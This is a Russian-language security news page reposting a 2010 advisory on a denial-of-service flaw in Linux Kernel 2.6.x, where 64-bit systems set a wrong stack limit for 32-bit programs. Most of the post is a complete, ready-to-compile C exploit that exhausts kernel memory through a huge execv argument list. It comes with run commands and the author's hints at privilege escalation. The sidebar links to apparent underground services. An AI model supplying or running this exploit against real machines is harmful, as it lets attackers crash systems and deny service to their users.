Hack and Secure
Главная
Вход
Регистрация
Четверг, 09.07.2026, 01:33Приветствую Вас Бомж | RSS
Меню

Категории
BugTrack [80]
Bug's and exploits
Malware [27]
Worms, viruses, trojans and other...
ITNews [4]
All IT news from all the world
Взлом [13]
Hacked site's
OpenSource [0]
OpenSource news
Патчи и Обновления [1]
Патчи и Обновления разного рода софта
ALERT [2]
Суд над хакерами
Google [2]
Новости от Google
Hack Attack's [2]
Новости о новых и не очень видов атак
Статистика [6]
Статистика от ведущих компаний по безопасность
ПО [0]
Мелкософт, яблочные, пингвины и мобильное ПО
Soft [0]
All kind of software
SEONews [0]
SEONews
Новости сайта [0]
Новости нашего портала

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Вход

Главная » 2010 » Август » 19 » Отказ в обслуживании в Linux Kernel
08:12
Отказ в обслуживании в Linux Kernel

Программа: Linux Kernel 2.6.x

Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую систему. Уязвимость существует из-за того, что ядро не правильно устанавливает максимальный размер стека для 32 битных приложений в 64 битной среде. Атакующий может передать специально сформированное приложение, что приведет к срабатыванию "BUG()" или ошибке out-of-memory.


/* known for over a year, fixed in grsec
bug is due to a bad limit on the max size of the stack for 32bit apps
on a 64bit OS. Instead of them being limited to 1/4th of a 32bit
address space, they're limited to 1/4th of a 64bit address space -- oops!
in combination with vanilla ASLR, it triggers a BUG() as the stack
tries to expand around the address space when shifted
Below mmap_min_addr you say? uh oh! ;)

Reported to Ted Tso in December 2009
Linus today (Aug 13 2010) silently fixes tangential issue:
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893

The second bug here is that the memory usage explodes within the
kernel from a single 128k allocation in userland
The explosion of memory isn't accounted for by any task so it won't
be terminated by the OOM killer

curious what actual vuln was involved that they were trying
to silently fix, as I don't think it's the one below
clobbering data in a suid app by growing the stack into the mapping
for the image? ;) I smell privesc...mumblings of X server/recursion

ulimit -s unlimited
./64bit_dos

SELinux is here to save us though with its fine-grained controls!
Wait, it doesn't?
Clearly the solution is to throw a buggy KVM on top of it
Not enough? Ok, we'll throw in an extra SELinux, that'll really
throw those hackers off when they use the same exact exploit on the
host as they do on the guest!
COMMON CRITERIA HERE I COME!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/personality.h>

#define NUM_ARGS 24550

int main(void)
{
char **args;
char *str;
int i;

/* not needed, just makes it easier for machines with less RAM */
personality(PER_LINUX32_3GB);

str = malloc(128 * 1024);
memset(str, 'A', 128 * 1024 - 1);
str[128 * 1024 - 1] = '\0';
args = malloc(NUM_ARGS * sizeof(char *));
for (i = 0; i < (NUM_ARGS - 1); i++)
args[i] = str;
args[i] = NULL;

execv("/bin/sh", args);
printf("execve failed\n");

return 0;
}

Категория: BugTrack | Просмотров: 568 | Добавил: sepos | Рейтинг: 5.0/1
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск

Календарь
«  Август 2010  »
Пн Вт Ср Чт Пт Сб Вс
      1
2345678
9101112131415
16171819202122
23242526272829
3031

Архив

Друзья
Юридические услуги. Представительство в судах. Возврат долгов. Все о FreeBSD и прочих UNIX-like операционных системах Чоткие загрузки для успешных пацанов WE SELL LOADS SMS сервис для Вашего Бизнеса Единая база кидал Elite VPN Black SEO Hash Resolver Каталог сайтов OpenLinks.RU 495ru.ru, Доски объявлений, бесплатные объявления, дать объявление в интернет, подать объявление бесплатно
  • Место для вашей рекламы

  • //-->


    Copyright Hack and Secure Team © 2026